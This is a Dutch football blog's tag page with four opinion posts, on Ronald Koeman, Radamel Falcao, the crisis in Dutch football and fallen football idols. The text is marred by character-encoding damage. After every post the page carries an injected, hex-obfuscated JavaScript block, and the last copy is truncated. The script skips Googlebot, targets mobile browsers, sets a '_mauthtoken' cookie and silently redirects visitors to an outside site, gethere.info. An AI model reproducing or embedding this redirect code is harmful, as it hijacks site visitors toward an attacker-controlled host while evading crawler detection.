Feeds:
Berichten
Reacties

Posts Tagged ‘Louis van Gaal’

Het lijkt slechts een kwestie van tijd dat Ronald Koeman het stokje gaat overnemen van Dick Advocaat. Qua leeftijd en generatie doet dat een revolutionaire omslag vermoeden. Er zit toch niet voor niks 17 jaar tussen? Nou, vergeet het maar! Ze zouden zomaar bij elkaar in de klas gezeten kunnen hebben. De klas van de realisten, van de pragmatici. Niks te moderniseren, innoveren of experimenteren. Lang leve de organisatie en de stabilisatie. Het kost geen enkele moeite om in de jongste Koeman zowel de leerling als erfgenaam van Dick Advocaat te zien. En dan laten we hun gedeeldeA�passie voor het slijk der aarde nog buiten beschouwing.

opi-mazuroToch maakte Ronald bij FC Barcelona wel degelijk deel uit van het Dream Team dat onder Johan Cruijff de wereld veroverde met adembenemend aanvallend voetbal. En had bovendien in Guardiola een van de, heden ten dage, vooruitstrevendste coachesA� als teamgenoot. Het zou me niet verbazen als uitgerekend dA?A?r de kiem is gelegd voor a�?s mans behoefte aan zekerheid. Cruijff liet hem in zijn aanvankelijke experimentele zoektocht naar een zo ideaal mogelijke combinatie van attractiviteit en productiviteit zoveel mogelijk A�A�n tegen A�A�n spelen, waardoor Ronald er, met zijn gebrek aan snelheid en wendbaarheid, vaak ronduit slecht uitzag. Voordat hij geleerd had slim positie te kiezen en wanneer wel dan niet effectief in te grijpen, moest hij dus door een periode heen waarin hij regelmatig moet hebben gedacht schromelijk tekort te komen op dit niveau.

VoorA�avontuur moeten we dus niet bij Koeman zijn.A�IsA�dat bezwaarlijk? Ik vind van wel. De huidige, desastreuze staat van ons voetbal is de ideale voedingsbodemA�voor vernieuwing. Voor een radicale koersverandering. Die kan alleen maar worden ingezet door een frisse, onafhankelijke en out-of-the-box denkende geest. Bij voorkeur uit het buitenland en nietA�besmet door het Hollandse-School-virus. En nee, ook geen Van Gaal, op welke positie dan ook. Want ook dat is weer het oude liedje.

Maar weinig kans, vrees ik. Een combinatie Van Gaal-Koeman zal het niet worden, gelet op hun moeizame relatie, maar dat Ronald KoemanA�op de spreekwoordelijke trein naar Zeist zal springen en daar met open armen door de bobo’s ontvangen zal worden – het lijkt voor vrijwel iedereen eenA�uitgemaakte zaak. In geen enkel opzicht (iets) nieuws dus.

var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Read Full Post »

Ruim twee jaar gelden had ik, mits gepermitteerd door mijn echtgenote annex boekhoudster, al mijn geld gezet op Radamel Falcao. Ik snapte er geen zak van dat El Tigre niet allang door een absolute topclub was gevangen. De Colombiaanse superspits scoorde uit alle mogelijke hoeken en standen en was zo wat in zijn eentje verantwoordelijk voor een fiks aantal prijzen met FC Porto en met name AtlA�tico Madrid. Tot mijn opperste verbazing verkaste Radamel toen naar AS Monaco. OkA�, daar had men snode plannen en investeerde dienovereenkomstig als een bezetene. Welke rol mannetjesmakelaar Mendes daarin heeft gespeeld en nog steeds speelt, zal misschien nog ooit door de speurneuzen Knipping & Van Duren worden blootgelegd. Zoals zo vaak leverden de topaankopen niet de gewenste resultaten op, al moet gezegd dat Monaco destijds enkele memorabele voetbalpartijtjes op de grasmat legde.

obs-mazuroFalcao liep een ernstige kruisbandblessure op en miste het WK in BraziliA�.A�A� Hij was maanden uit de roulatie en kennelijk bij Monaco meteen uit de gratie. Dat-ie echter niet werd verkocht maar werd uitgeleend, zal ook wel weer een a�?Mendesjea�� wezen. Niemand minder dan onze a�?eigena�� Louis van Gaal bracht Radamel eindelijk onder bij een echte topclub, Man United. Dat evenwel ene Van Persie daar ook nog rondliep, bleek voor de nauwelijks meer brullende El Tigre a�� of voor Louis? a�� een stap te ver. Zelfs toen RVP zienderogen aan kredietverlies leed, slaagde Falcao er niet in om ook maar een glimp tevoorschijn te toveren van die ooit zo trefzekere troef.

Toch neemt Chelsea de Colombiaan en de huur over. Het feit dat JosA� Mourinho en Falcao zich met Mendes in dezelfde makelaar mogen verheugen, zal de zaken alleszins hebben vereenvoudigd. Bij Chelsea wordt Falcao met Diego Costa herenigd, waarmee hij in het seizoen 2012-2013 bij Atleti een dodelijk duo vormde: samen goed voor 34 goals. Maar ja, Chelsea zweert bij het A�A�n-spitsensysteem A�n The Special One is gone. En ook zijn tweede Nederlandse trainer in kort tijdsbestek, Guus Hiddink, lijkt niet onder de indruk van El Tigre.

radamel-falcao-football-colombia_3310471Radamel-FalcaoWat is er toch aan de hand met deze Falcao? Hoe kan iemand, die nog maar twee jaar geleden de beste pure spits ter wereld was, zo verpieteren? Hoe kun je een kunstje, dat je tot voor kort nog tot in de finesses beheerste en telkens opnieuw weer flikte, ogenschijnlijk helemaal zijn verleerd? Hij ziet er zelfs niet meer uit als El Tigre! Is het die kruisbandblessure? Zit-ie met zijn hele hebben en houwen vast aan Jorge Mendes? Vraag je er zelf om, als eigendom van een investeringsmaatschappij? Zou er speciale doping – Colombia hA? – bestaan voor trefzekerheid en is Falcao al geruime tijd z’n dealer kwijt? Of heeft-ie het geloof in zichzelf verloren? Het is mij een volslagen raadsel en ik vraag me in gemoede af A�of er wel serieus wordt geprobeerd om iemand die zA?veel kapitaal vertegenwoordigt met alle kracht en middelen weer vlot te trekken. Of zou Radamel er wel vrede mee hebben, in de wetenschap dat zijn kostje is gekocht? Ik kan het me niet voorstellen, het mA?et zijn eergevoel te na zijn. Neemt niet weg dat ik me ondertussen gelukkig mag prijzen met mijn boekhoudster. En ja hoor, ook met mijn echtgenote. Waarvan akte.

var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Read Full Post »

Het behoeft verder geen betoog: het is crisis in Nederland voetballand. Al geruime tijd wordt erop gehamerd en ervoor gewaarschuwd, maar met de uitschakeling voor het EK 2016, gemarkeerd door een abominabel slecht Oranje zonder weerga, is de crisis onmiskenbaar. En aangezien iedereen er verstand van heeft, duizelt het van de meningen over de oorzaken; van de hoed van Memphis tot aan ‘dat klotekunstgras’, van balbezitbezetenheid tot aan blinde familievlekken toe. Zoals gebruikelijk steken het aantal gerichte aanbevelingen en oplossingen hier uiterst schril bij af. Al heeft dat – toegegeven – in deze kwestie ook veel te maken met zowel de complexiteit ervan als met de hoeveelheid factoren die aan het echec ten grondslag liggen.

opi-mazuroMaar het komt zeker ook door de (te) grote emotionele of zakelijke betrokkenheid en de (te) geringe afstand van al die critici, analytici en andere intimi. Wij Nederlanders zitten simpelweg te veel en te dicht bovenop ‘ons’ voetbal in het algemeen en ‘ons’ Oranje in het bijzonder. Of we vinden dat we bij een bepaald kamp, een verworven school of een specifiek persoon horen. Dat vertroebelt onze blik, verstoort onze objectiviteit en beA?nvloedt negatief, beter gezegd verengt, onze oplossingsrichtingen en -gerichtheid. Mijn hoop is nog wel gevestigd op angry youngA�manA�Pieter Zwart die in elk geval een gedegen onderbouwde analyse heeft afgeleverd over de positionering van Van Oostveen en bondscoach Blind. Nu de oplossingen en aanbevelingen nog, Pieter. Maar verder lijkt het wel of onze opiniemakers eveneens te kampen hebben met complicaties van de landelijke voetbalepidemie.

Zelfs de toonaangevende voetbaljournalisten Sjoerd Mossou (AD) en Willem Vissers (de Volkskrant), beiden regelmatig aanschuivend bij Studio Voetbal, weten het niet meer.A�Van Mossou mogen Van Oostveen en Blind de ene keer toch maar aanblijven, want hun vertrek lost – op korte termijn – niets op. Om even later zich weer af te vragen of met dit duo wel een nieuwe weg kan worden ingeslagen. Wel ziet Sjoerd in de heren Van Gaal en Gerbrands de Redders des Vaderlands. Goed, bij Gerbrands kan ik me iets voorstellen. Een onafhankelijk denker en dito persoonlijkheid en bovendien – en dat is belangrijk! – nagenoeg onomstreden als persoon en functionaris. Maar dat laatste kun je van Van Gaal moeilijk beweren. Sterker nog, A�de man is zA? omstreden – zeker als persoon, maar ook wat betreft zijn visie en werkmethode – dat diens aanstelling alleen maar voor nog meer onrust zou zorgen. Niet doen dus. Willem Vissers komt niet verder dan het aandragen van drie redenen waarom Blind moet vertrekken en drie redenen waarom hij zou moeten blijven. Een gelijkspel dus. Tja…

De oplossing ligt mijns inziens in het buitenland. De beste analyses van de teloorgang van het Nederlandse voetbal komen hiervandaan. Lees Simon Kuper hier enA�hierA�en lees Gabriele Marcotti. Van afstand, zonder directe emotionele betrokkenheid (of het moet hun onverholen bewondering zijn voor de bijna vergeten A�chte Hollandse School) en niet gehinderd door chauvinisme, leedvermaak of zwartgalligheid. In hun spoor zou dan een buitenlandse bondscoach moeten volgen. Eentje van het merk en kaliber Guardiola, Bielsa of Wenger. En die mag wat mij betreft worden geflankeerd door iemand als Toon Gerbrands. Iemand die in de opleiding en bij de clubs de nadruk legt op mentale en fysieke aspecten. Want dat is vooral waarin we tekortschieten. Onze spelers lopen letterlijk achter de feiten (de tegenstanders) aan en dat gaat onherroepelijk in het Bielsa 0010667662koppie zitten. Weg is de flair, weg is de drang om aan te vallen, met daarvoor in de plaats risicoloos en eindeloos geschuif. Dit alles vanuit het wankele besef dat, wanneer de bal wordt verspeeld, men niet meer bij machte is om deze te heroveren. Er kan pas weer op z’n Hollands school worden gemaakt wanneer onze voetballers de beroepsernst kunnen opbrengen c.q. hen wordt bijgebracht dat het moderne voetbal (handelings)snelheid, fysieke en mentale (veer)kracht vereisen.

Met Danny Blind en Bert van Oostveen komt dit echt niet meer goed. Het wantrouwen en de beschadiging zijn te groot om nog een acceptabel draagvlag te creA�ren. Het is de hoogste tijd voor een nieuw beleid, een frisse wind. En die moet – hoe gevoelig dat heden ten dage ook ligt – aan komen waaien vanuit het buitenland. Waarvan akte.

– de foto van Marcelo Bielsa komt vaninfobae.com

var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Read Full Post »

Dit moest een stukje worden over Letland – Nederland en misschien gaat het daar A?A?k wel over. Ergens. Maar laat ik er niet te veel woorden aan vuil maken. ‘We’ leven nog, daar is eigenlijk alles mee gezegd. Waar ik het vooral over wil hebben is het al dan niet terechte demasquA� van de ene na de andere voetbalicoon. Al beperkt deze schier onstuitbare ontmaskering zich zeker niet tot de voetbalwereld. De voetstukval van onze grootste voetballer ooit is weliswaar prematuur en moet nog met harde bewijzen worden gestaafd, maar de bijl is aan de wortel gezet. Al zijn hele voetbalgerelateerde leven lang is het fenomeen Hendrik Johannes Cruijff omstreden. Niet vanwege zijn voetbal- en trainerskwaliteiten – die worden wereldwijd erkend – maar de persoon Cruijff heeft altijd tegenstrijdige gevoelens opgeroepen. Ook bij mij. En toch beschouw ik mijzelf als een Cruijff-adept. Omdat ik, hoe warrig en discutabel zijn doen en vooral laten vaak ook waren, altijd ben uitgegaan van ’s mans eerzame bedoelingen.A�De recente onthullingen in de Volkskrant hebben mij echter voor het eerst aan het twijfelen gebracht. Ook al blijkt het artikel aantoonbare leugens en onvolkomenheden te bevatten. Dus blijf ik vurig hopen dat Jopie op mijn voetstuk blijft staan.

opi-mazuroZijn natuurlijke vijand Van Gaal viel van mijn voetstuk toen hij zich achter Cruijffs rug om kandidaat had gesteld bij Ajax ten tijde van de vorige, maar zeker niet laatste revolutie aldaar. Uitgerekend de man die ik zo bewonderde en benijdde om zijn directheid en eerlijkheid, verlaagde zich tot een geniepige, laaghartige daad. Bam! Een val die hard aankwam. Guus Hiddink slaagde erin om in een mum van tijd zijn schier onaantastbare aureool van boven de partijen staande en evenwichtige peoplemanager te verliezen. En bewijst nu keer op keer dat hij het toch al nooit moest hebben van tactisch vernuft en logische basisopstellingen.

Diens voorganger Bert van Marwijk mag tegenwoordig de wedstrijden op tv voor- en nabeschouwen. De eens zo nuchtere, wars van pretenties reagerende ex-bondscoach ontpopt zich momenteel beschouwingsgewijs als een irritant superieur ogende allesweter en genadeloze criticus van het huidige Oranje en dus impliciet zijn opvolger. Nu ben ik wel de laatste om iemand het recht te ontzeggen omA�kritiek te leveren – bovendien is er ook nog eens alle reden toe, maar toch: het is niet kies om je directe opvolger zA? vilein te fileren. Maar wat nog erger is: de analyticus Van Marwijk propageert schaamteloos aanvallend en avontuurlijk voetbal, terwijl de bondscoach Van Marwijk toch echt verantwoordelijk was voor de dubbele controlefunctie van Bommel en De Jong. En onthield ons wellicht een wereldtitel door verdacht lang een falende Van Persie te handhaven en een messcherpe Huntelaar op cruciale momenten te negeren.

voetstukAls straks zelfs de zo onschuldig ogende Messi een notoire belastingontduiker blijkt te zijn, val ik definitief af van mijn geloof. Want er vallen nog meer mensen van hun voetstuk dan dat er gaten vallen in Oranjes verdediging. En dat wil wat zeggen! Het maakt je schuw en achterdochtig. Het weerhoudt je er steeds meer van om onvoorwaardelijk te (ador)eren en om onbezoedelde voorbeelden en idolen te vinden. Wat als we niet meer onverdeeld kunnen bewonderen en vertrouwen? Het grootste gevaar is dan ook niet dat er mensen van hun voetstuk vallen, want dat is van alle tijden. Nee, het bestaansrecht van het voetstuk zelf dreigt te verdwijnen. En waar anders dan in de voetbalwereld moet het voetstuk koste wat kost in ere worden gehouden.

– de afbeelding komt vanA�rogerklaassen.com/wordpres

var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v 